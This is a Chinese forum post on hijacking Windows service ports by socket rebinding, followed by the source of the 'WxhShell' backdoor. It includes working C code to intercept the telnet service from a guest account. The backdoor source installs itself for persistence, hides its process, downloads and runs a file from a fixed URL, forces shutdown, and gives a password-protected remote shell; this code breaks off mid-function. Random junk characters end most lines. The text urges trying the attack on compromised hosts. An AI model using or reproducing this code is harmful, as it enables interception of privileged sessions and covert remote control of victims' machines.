社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16560阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Uk0]A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); twA2U7F  
x[i Et%_  
  saddr.sin_family = AF_INET; g bc])`aJ>  
VtJy0OGcRP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T.j&UEsd  
g0~3;y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {cF >, T  
`9yR,Xk=l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @N0(%o&  
*E-VS= #  
  这意味着什么?意味着可以进行如下的攻击: K`d3p{M  
:.,3Zw{l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3ZKaqwK  
T1}9^3T?{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `'^&* 7,  
/|. |y S9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _Mis-K:]{?  
Bhnwb0b<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  NXyuv7%5=  
mlmXFEC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1n86Mp1.e  
$EuWQq7OI2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {=Ku9\  
v8L&F9 o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +v}R-gNR  
V^^nJs tV  
  #include `Wf)qMb  
  #include 8(Y=MW;g  
  #include [@_zsz,`L  
  #include    7:_\t!]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jt/ |u=  
  int main() RL;>1Q,H  
  { `xO&!DN  
  WORD wVersionRequested; ]&D;'),   
  DWORD ret; QhHexr6  
  WSADATA wsaData; yfD)|lK  
  BOOL val; G2x5%`   
  SOCKADDR_IN saddr; N>A*N,+  
  SOCKADDR_IN scaddr; #(`@D7S"  
  int err; /N>bEr4w  
  SOCKET s; 3C8W]yw/s  
  SOCKET sc; cP~?Iz8nD  
  int caddsize; s: .5S  
  HANDLE mt; Y_) aoRjB  
  DWORD tid;   $*Q_3]AY]  
  wVersionRequested = MAKEWORD( 2, 2 ); $K,6!FyBa  
  err = WSAStartup( wVersionRequested, &wsaData ); |5}~n"R5  
  if ( err != 0 ) { q&-A}]  
  printf("error!WSAStartup failed!\n"); 0*.> >rI  
  return -1; :K) =Hf2y  
  } Dl#%tYL+3h  
  saddr.sin_family = AF_INET; w C0fPPeA  
   B !hrr  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w]{NaNIeq1  
}0({c~z\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I2!0,1Q  
  saddr.sin_port = htons(23); Yz?1]<X  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1/bu}?a  
  { :K3nJ1G&  
  printf("error!socket failed!\n"); c9dH ^t  
  return -1; ~la=rh3  
  } Wh,{|R[  
  val = TRUE; :q2tda  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cJ%u&2J_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .+H8c.  
  { QPH2TXw  
  printf("error!setsockopt failed!\n"); QrP$5H{[E  
  return -1; 042sjt  
  } hr<E%J1k%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \kpk-[W*x{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'xdM>y#S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R; X8%'   
%rQ5 <U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t:X[Blw3$  
  { GLe(?\Ug=  
  ret=GetLastError(); *mM+(]8US  
  printf("error!bind failed!\n"); AUnRr+o  
  return -1; [G/q*a:K  
  } s q_N!  
  listen(s,2); dQ8}mH!  
  while(1) {.N" 6P  
  { #lax0IYY=  
  caddsize = sizeof(scaddr); #zcp!WE.OI  
  //接受连接请求 N[j7^q7Xt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #=f ]"uM<  
  if(sc!=INVALID_SOCKET) X,/@#pSOz  
  { yD`{9'L -  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >?,arER  
  if(mt==NULL) v UAYYe  
  { 4 []R?lL  
  printf("Thread Creat Failed!\n"); U4_ <  
  break; *HmL8c  
  } O,_2dj d  
  } NA`3   
  CloseHandle(mt); P'D~Y#^  
  } qFV=P k  
  closesocket(s); =L$};ko  
  WSACleanup(); J ,fXXi)J  
  return 0; UcMe("U  
  }   C"/]X  
  DWORD WINAPI ClientThread(LPVOID lpParam) Osb"$8im  
  { G{ rUqo  
  SOCKET ss = (SOCKET)lpParam; fV3!x,H  
  SOCKET sc; AAsl )  
  unsigned char buf[4096]; P,!k^J3:l  
  SOCKADDR_IN saddr; unmuY^+<  
  long num; n>\BPiz  
  DWORD val; `}F=Zjy  
  DWORD ret; twx8TQ9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ij6ME6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c7IgndVAV  
  saddr.sin_family = AF_INET; jow^~   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '?Q [.{<  
  saddr.sin_port = htons(23); &_&])V)<\S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `X]-blHo  
  { F'Fc)9qFa<  
  printf("error!socket failed!\n"); WjGv%^?  
  return -1; pF.Ws,nQ5  
  } n(a7%Hx2  
  val = 100; F5%-6@=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3vOI=ar=L~  
  { qTiUha9  
  ret = GetLastError(); C%v@ u$N  
  return -1; -,96Qg4vI  
  } ##,i<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4aAr|!8|h!  
  { 0i$jtCCL(  
  ret = GetLastError(); C4Q ^WU+$j  
  return -1; #JZf]rtp  
  } C^r3r6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T}2a~  
  { "G|Gyc  
  printf("error!socket connect failed!\n"); 2?ZH WS>U  
  closesocket(sc); oC U8;z  
  closesocket(ss); i,ku91T  
  return -1; Yh:*.@  
  } p&_a kQj  
  while(1) 0(3t#  
  { 2Z,;#t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ekP=/;T#S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YjS|Ht->  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J mFzSR?}  
  num = recv(ss,buf,4096,0); /k1&?e  
  if(num>0) m |,ocz  
  send(sc,buf,num,0); v (<~:]  
  else if(num==0) Np|i Xwl1  
  break; [}lv!KmzW  
  num = recv(sc,buf,4096,0); e?L$RY,7  
  if(num>0) *NDLGdQqz  
  send(ss,buf,num,0); .'"+CKD.N  
  else if(num==0) ^F`FB..:y  
  break; G`mC=*M a;  
  } r7*[k[^[^  
  closesocket(ss); ~srmlBi6  
  closesocket(sc); _J   
  return 0 ; X\$|oiR  
  } c.&vWmLSGE  
C-_u; NEu  
#B'WT{B$/~  
========================================================== 6! g3Juh  
&66G  
下边附上一个代码,,WXhSHELL GFlsI-*`  
V85a{OBm,8  
========================================================== C(iA G  
Li Qs;$V  
#include "stdafx.h" wGISb\rr  
Z#>k:v  
#include <stdio.h> 5yxZ 5Ni!  
#include <string.h> 1 EC0wX  
#include <windows.h> I U 4[}x  
#include <winsock2.h> ":"M/v%F  
#include <winsvc.h> sNX$ =<E  
#include <urlmon.h> .,m$Cm  
RLulz|jC  
#pragma comment (lib, "Ws2_32.lib") A1%V<im@Z  
#pragma comment (lib, "urlmon.lib") kf-ZE$S4  
Os@ofnC  
#define MAX_USER   100 // 最大客户端连接数 LC[, K  
#define BUF_SOCK   200 // sock buffer M?$-u  
#define KEY_BUFF   255 // 输入 buffer ~z|/t^  
)zUV6U7v  
#define REBOOT     0   // 重启 ^n]tf9{I  
#define SHUTDOWN   1   // 关机 qI;k2sQR  
g"C$B Fc  
#define DEF_PORT   5000 // 监听端口 r7ywK9UL  
{Fb)Z"8]  
#define REG_LEN     16   // 注册表键长度 ej%C<0/%n  
#define SVC_LEN     80   // NT服务名长度 ,fET.s^|U  
,Z>RvLl  
// 从dll定义API (eO0 Ic[c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4G_dnf_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 92 Pp.Rh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `r>WVPS|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b;m6m4i'f{  
!k<+-Lf:2  
// wxhshell配置信息 X dB#+"[  
struct WSCFG { KD Qux  
  int ws_port;         // 监听端口 7Zu!s]t  
  char ws_passstr[REG_LEN]; // 口令 /B1< N}  
  int ws_autoins;       // 安装标记, 1=yes 0=no x:l`e:`y9  
  char ws_regname[REG_LEN]; // 注册表键名 4eaC18?  
  char ws_svcname[REG_LEN]; // 服务名 >t*zY~R.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7qW:^2y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Sk;IAp#X9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i7fpl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b>2u>4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V!},a@>p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Mh_jlgE'd#  
g4Hq<W"  
}; =$BgIt  
&nz1[,  
// default Wxhshell configuration f+I*aBQ  
struct WSCFG wscfg={DEF_PORT, X:62 )^~'  
    "xuhuanlingzhe", Ujj2A^  
    1, tanuP@O  
    "Wxhshell", )2^OBfl7  
    "Wxhshell", 9sE>K)  
            "WxhShell Service", 7* `ldao~  
    "Wrsky Windows CmdShell Service", -BoN}xE4  
    "Please Input Your Password: ", I}k!i+Yl  
  1, &|{K*pNa  
  "http://www.wrsky.com/wxhshell.exe", o~iL aN\+  
  "Wxhshell.exe" B0 R[f  
    }; a-QHm;_S  
o@pM??&x  
// 消息定义模块 Rut6m5>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; / m?Z!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j/Bzbjq"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5@Py`  
char *msg_ws_ext="\n\rExit."; Nr(WbD[T  
char *msg_ws_end="\n\rQuit."; ,#WXAA mm  
char *msg_ws_boot="\n\rReboot..."; 3 !}'A  
char *msg_ws_poff="\n\rShutdown..."; !%@n067  
char *msg_ws_down="\n\rSave to "; bJBx~  
3`e1:`Hu  
char *msg_ws_err="\n\rErr!"; IRS^F;)  
char *msg_ws_ok="\n\rOK!"; '!f5|l9SC  
1.>sG2*P  
char ExeFile[MAX_PATH]; &kO4^ A  
int nUser = 0; Xq)'p8C?  
HANDLE handles[MAX_USER]; Nz:  
int OsIsNt; mZM5aTQ3  
 g| r  
SERVICE_STATUS       serviceStatus;  dc5B#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R2~Rqlti  
_t;w n7p  
// 函数声明 M6X f}>  
int Install(void); K@>v|JD  
int Uninstall(void); <#R7sco'  
int DownloadFile(char *sURL, SOCKET wsh); +[F9Q,bH@b  
int Boot(int flag); Hpsg[d)!  
void HideProc(void); RNt3az  
int GetOsVer(void); "+XO[WGc  
int Wxhshell(SOCKET wsl); jgGn"}  
void TalkWithClient(void *cs); 2G'G45Q  
int CmdShell(SOCKET sock); +>:X4A *  
int StartFromService(void); ;\&7smE[  
int StartWxhshell(LPSTR lpCmdLine); 7rr5$,Mv  
ZjI^0D8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qrOTb9&y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c|O5Vp}  
O:Z|fDQ`  
// 数据结构和表定义 >2C;5ba  
SERVICE_TABLE_ENTRY DispatchTable[] = <N`rcKE%~P  
{ +zw<iB)J  
{wscfg.ws_svcname, NTServiceMain}, =8J\;h  
{NULL, NULL} hQet?*diU  
}; 6Q wL  
qK#* UR0%  
// 自我安装 .#Sd|C]R7  
int Install(void) 8;Pdd1GyUL  
{ (ZI&'"H  
  char svExeFile[MAX_PATH]; c dGl[dQ/  
  HKEY key; 0 /H1INve  
  strcpy(svExeFile,ExeFile); 1zp,Suv  
W%$p,^@S5  
// 如果是win9x系统,修改注册表设为自启动 'Klz`)F  
if(!OsIsNt) {  XG^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .g|pgFM?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); om/gk4S2  
  RegCloseKey(key); $8eq&_gJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2]C0d8=*?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W&yw5rt**  
  RegCloseKey(key); b<7.^  
  return 0; .[_&>@bmrP  
    } 5GRN1Aov<  
  } nC*/?y*9  
} Ugs<WVp$  
else { > voUh;L  
4^i*1&"  
// 如果是NT以上系统,安装为系统服务 zf S<X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eVlI:yqppj  
if (schSCManager!=0) #Gg^fm  
{ x)GoxH~#  
  SC_HANDLE schService = CreateService #IXQ;2%E  
  ( \Lc]6?,R  
  schSCManager, HmiwpI  
  wscfg.ws_svcname, 8t7hN?,t  
  wscfg.ws_svcdisp, AV&eg e  
  SERVICE_ALL_ACCESS, =AAH}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dZYS5_wr  
  SERVICE_AUTO_START, -+4$W{OK*0  
  SERVICE_ERROR_NORMAL, ]v#T'<Nl  
  svExeFile, 6zI?K4o  
  NULL, ?IWLl  
  NULL, TfxKvol'  
  NULL, 3)eeUO+  
  NULL, "vJADQ4F  
  NULL Nyo6R9^  
  ); vLC&C-f  
  if (schService!=0) >\i{,F=U7  
  { 0- #ct1-  
  CloseServiceHandle(schService); rms&U)?  
  CloseServiceHandle(schSCManager); [AGm%o=)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); REsThB  
  strcat(svExeFile,wscfg.ws_svcname); " DFg"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fklM Yu4:n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iy4JI,-W  
  RegCloseKey(key); (;M"'. C  
  return 0; cCeD3CuRA%  
    } WFdS#XfV  
  } \:#b9t{B-  
  CloseServiceHandle(schSCManager); tDwXb>  
} '- ~86Q  
} +pV3.VMH0  
H _2hr[  
return 1; <zUmcZ  
} *X>rvAd3  
[v&_MQ  
// 自我卸载 *%8us~w5/  
int Uninstall(void) $C>EnNx  
{ 9Z*vp^3  
  HKEY key; N; hq  
@s[bRp`gd  
if(!OsIsNt) { XR&*g1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `2Z=Lp  
  RegDeleteValue(key,wscfg.ws_regname); {P3,jY^  
  RegCloseKey(key); h'}5 "m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :G`_IB\  
  RegDeleteValue(key,wscfg.ws_regname); yA_d${n  
  RegCloseKey(key); 0O:TKgb&C.  
  return 0; )I <.DN&  
  } Jw^+t)t  
} mB,7YZv  
} X >**M  
else { 6` s[PKP.  
r*$"]{m}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +`4|,K7'  
if (schSCManager!=0) jC@^/rMh  
{ ewLr+8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +X&B'  
  if (schService!=0) Ry(!< w,  
  { F0yh7MItV  
  if(DeleteService(schService)!=0) { J2R<'(  
  CloseServiceHandle(schService); Ug"B/UUFd  
  CloseServiceHandle(schSCManager); l5MxJ>?4%B  
  return 0; +:t1PV;l  
  } hb_Ia]b  
  CloseServiceHandle(schService); RWoiV10  
  } }FK6o 6  
  CloseServiceHandle(schSCManager); vZKo&jU k  
} Jk~T.p?tF  
} " pH+YqJ$  
eMF%!qUr  
return 1; `b2 I)xC#  
} j4l7Tx  
(I+-wki"e  
// 从指定url下载文件 x|Ei_hI-  
int DownloadFile(char *sURL, SOCKET wsh) v|"{x&I.  
{ =:2V4H(F  
  HRESULT hr; 3)xV-Y9  
char seps[]= "/"; -{w&ya4X  
char *token; @fY!@xSf  
char *file; wS5hXTb"  
char myURL[MAX_PATH]; Soa.thP  
char myFILE[MAX_PATH]; Wm A:"!~M  
x88$#N>Q5  
strcpy(myURL,sURL); 5p>a]gp  
  token=strtok(myURL,seps); z(]*'0)P  
  while(token!=NULL) %1 v)rg y  
  { o0/03O  
    file=token; ]EK"AuEz`  
  token=strtok(NULL,seps); NBeGmC|  
  } YcGqT2oLP  
w&H ?;1  
GetCurrentDirectory(MAX_PATH,myFILE); kgQEg)A]!x  
strcat(myFILE, "\\"); b2 ),J  
strcat(myFILE, file); S)~h|&A(  
  send(wsh,myFILE,strlen(myFILE),0); k&**f_b  
send(wsh,"...",3,0); HU'd/5fun  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /M#A[tZ3  
  if(hr==S_OK) *L^{p.K4  
return 0; _ x7Vyy5  
else hVlL"w*1  
return 1; N( /PJJ~  
mr/^lnO  
} KomF)KQ2r  
o~}q@]]  
// 系统电源模块 X{ Nif G  
int Boot(int flag) R1S Ev$  
{ 6=&  wY  
  HANDLE hToken; +Q'/c0o  
  TOKEN_PRIVILEGES tkp; :;JJvYIs  
P2oR C3~  
  if(OsIsNt) { bT>^% H3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @^P=jXi<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lP@9%L  
    tkp.PrivilegeCount = 1; r)b`3=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BBp Hp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8n'C@#{WV  
if(flag==REBOOT) { 6IvLr+I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X&Mc NO6"  
  return 0; aMHIOA%Kh  
} 1di?@F2f  
else { 1LE8,Gm&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ad"&c*m[  
  return 0; beq)Frn^  
} $GYy[-.`  
  } xWV_Do)z  
  else { xi.;`Q^#  
if(flag==REBOOT) { hTy#Q.=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7?kvrIuY&  
  return 0; s{CSU3vYmi  
} \Q3m?)X=Gd  
else { 5-+Y2tp}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x &\~4,TN  
  return 0; lh5k@\X  
} !E*-\}[  
} Tn-H8;Hg  
?$o8=h  
return 1; Ya>cGaLq  
} |g7E*1Ie  
fCTjTlh  
// win9x进程隐藏模块 B'=*92i>S  
void HideProc(void) 3kJAaI8   
{ paF2{C)4  
U2K>\/-~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [,fMh $t  
  if ( hKernel != NULL ) D9Q%*DLd$_  
  { V6Q[Y>84~a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FS']3uJ/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NcPzmW{#;g  
    FreeLibrary(hKernel); TX 12$p\  
  } *Fq Nzly  
"3!4 hiU9  
return; iedoL0#  
} !Dun<\  
2Yyc`o0R;h  
// 获取操作系统版本 v_Jp 9  
int GetOsVer(void) ` a@NYi6  
{ /.}&yRR  
  OSVERSIONINFO winfo; R (hq Ba/V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c !5OK4+Z  
  GetVersionEx(&winfo); [.0R"|$sy+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kH{axMNc  
  return 1; BV7GzJ2([{  
  else ;}:"[B3$  
  return 0; 4cs`R+]o  
} ;B tRDKn  
kR'!;}s  
// 客户端句柄模块 psYfz)1;  
int Wxhshell(SOCKET wsl) rYc?y  
{ lKe aI  
  SOCKET wsh; f9#B(4Tgi  
  struct sockaddr_in client; U-|g tND  
  DWORD myID; <}B]f1zX  
<]"aP1+C  
  while(nUser<MAX_USER) `33+OW  
{ m,8A2;&,8  
  int nSize=sizeof(client); WT!%FQ9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k:af  
  if(wsh==INVALID_SOCKET) return 1; F!.@1Fi1  
l%;)0gT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ydBoZ3}  
if(handles[nUser]==0) %M ~X:A;4  
  closesocket(wsh); 4R^'+hy|?  
else kigc+R  
  nUser++; 4(o0I~hpB?  
  } X8Gw8^t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EV]exYWB  
>6(nW:I0y  
  return 0; "j~=YW+l  
} haB$W 4x  
|QXW$  
// 关闭 socket B<6*Ktc  
void CloseIt(SOCKET wsh) ^W'\8L  
{ e}7qZ^  
closesocket(wsh); A D~\/V&+  
nUser--; L(}T-.,Slr  
ExitThread(0); $(C71M|CT  
} P3(u+UI3  
}1'C!]j  
// 客户端请求句柄 pNE!waR>  
void TalkWithClient(void *cs) v!40>[?|p  
{ $] w&`F-  
6nxf <1  
  SOCKET wsh=(SOCKET)cs; Rqu;;VI[  
  char pwd[SVC_LEN]; @{~x:P5g  
  char cmd[KEY_BUFF]; q"fK"H-j  
char chr[1]; _RhCVoeB  
int i,j; u9'4q<>&  
)|\72Z~eq  
  while (nUser < MAX_USER) { G+}|gG8  
XnV|{X%]U  
if(wscfg.ws_passstr) { XPb7gd"% W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :* @=px  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C9({7[k^%  
  //ZeroMemory(pwd,KEY_BUFF); hX~IZ((Hi8  
      i=0; !t[X/iu  
  while(i<SVC_LEN) { 1\_4# @')  
!MQo= k  
  // 设置超时 R1A!ob  
  fd_set FdRead; U =T[-(:H  
  struct timeval TimeOut; nwW `Q>+#U  
  FD_ZERO(&FdRead); 0 R^Xn  
  FD_SET(wsh,&FdRead); HOXqIZN85  
  TimeOut.tv_sec=8; ~pwp B2c  
  TimeOut.tv_usec=0; yS lN|8d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =7#)8p[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v-&^G3  
2I6c7H s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4B!]%Mw;c  
  pwd=chr[0];  03_tt7  
  if(chr[0]==0xd || chr[0]==0xa) { Rl<~:,D  
  pwd=0; Fb[<YX"  
  break; tNfku  
  } N\ GBjr-d  
  i++; Qz[~{-<  
    } 7&OU!gp  
P2f~sx9  
  // 如果是非法用户,关闭 socket A+:K!|w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PK!=3fK4\F  
} D55dD>  
&!Y^DR/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~99Ta]U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4*d_2:|u  
hDzKB))<w  
while(1) { 8V^gOUF.  
"'dt"x)  
  ZeroMemory(cmd,KEY_BUFF); En-eG37 l  
=DvnfT<  
      // 自动支持客户端 telnet标准   kLADd"C  
  j=0; j {S\X'?  
  while(j<KEY_BUFF) { Vh4z+JOC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aFd ,   
  cmd[j]=chr[0]; <86upS6  
  if(chr[0]==0xa || chr[0]==0xd) { lvcX}{>\  
  cmd[j]=0; Y#NlbKkzu  
  break; r'k-*I  
  } !dSY?1>U<  
  j++; 8_mdh+  
    } ^MDBJ0 I.  
) Q]kUG#`  
  // 下载文件 ;./Tv84I^  
  if(strstr(cmd,"http://")) { nBZqhtr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _9""3O  
  if(DownloadFile(cmd,wsh)) '<$(*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N2xgyKy~  
  else !9OAMHa*9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); My Af~&Y+  
  } ,7k)cNstW  
  else { ;]+kC  
NuW9.6$Jrf  
    switch(cmd[0]) { 2}' &38wMT  
  RhXX/HFk  
  // 帮助 e2k!5O S  
  case '?': { ` _[\j]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $Ob]JAf}  
    break; 23&;28)8  
  } /Y%) Y  
  // 安装 {#0B~Zr  
  case 'i': { 5|wQeosXxI  
    if(Install()) hjaI&?w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q1`uS^3`  
    else axonqSf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }a|S gI  
    break; OJQ7nChMm  
    } noGMfZ1  
  // 卸载 E^T/Qu  
  case 'r': { |&h!#Q{7l  
    if(Uninstall()) dV.)+X7<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [}}oHm3&  
    else :KMo'pL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #](ML:!  
    break; b{(!Ls_ &  
    } WcbJ4Ore  
  // 显示 wxhshell 所在路径 qS+'#Sn  
  case 'p': { SQWA{f  
    char svExeFile[MAX_PATH]; ~iyd p  
    strcpy(svExeFile,"\n\r"); N@Bqe{r6j  
      strcat(svExeFile,ExeFile); ;@ %~eIlu  
        send(wsh,svExeFile,strlen(svExeFile),0); >0T0K`o  
    break; }0}J  
    } W>/O9?D  
  // 重启 yV=hi?f-[V  
  case 'b': { ^~eT# Y8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;(TBg-LEK  
    if(Boot(REBOOT)) >LwAG:Ud  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -P@o>#Em  
    else { Et# }XVCJ  
